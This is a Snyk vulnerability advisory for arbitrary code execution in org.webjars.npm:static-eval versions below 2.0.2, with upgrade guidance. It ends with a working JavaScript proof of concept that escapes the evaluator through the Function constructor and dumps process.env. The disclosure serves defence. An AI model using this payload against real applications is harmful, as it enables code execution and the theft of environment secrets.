Arbitrary Code Execution Affecting org.webjars.npm:static-eval package, versions (,2.0.2)
Snyk CVSS
Attack Complexity
Low
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGWEBJARSNPM-480222
- published 14 Feb 2019
- disclosed 3 Jan 2019
- credit Matias Lang
How to fix?
Upgrade org.webjars.npm:static-eval
to version 2.0.2 or higher.
Overview
org.webjars.npm:static-eval evaluates statically-analyzable expressions.
Affected versions of this package are vulnerable to Arbitrary Code Execution. It passes untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));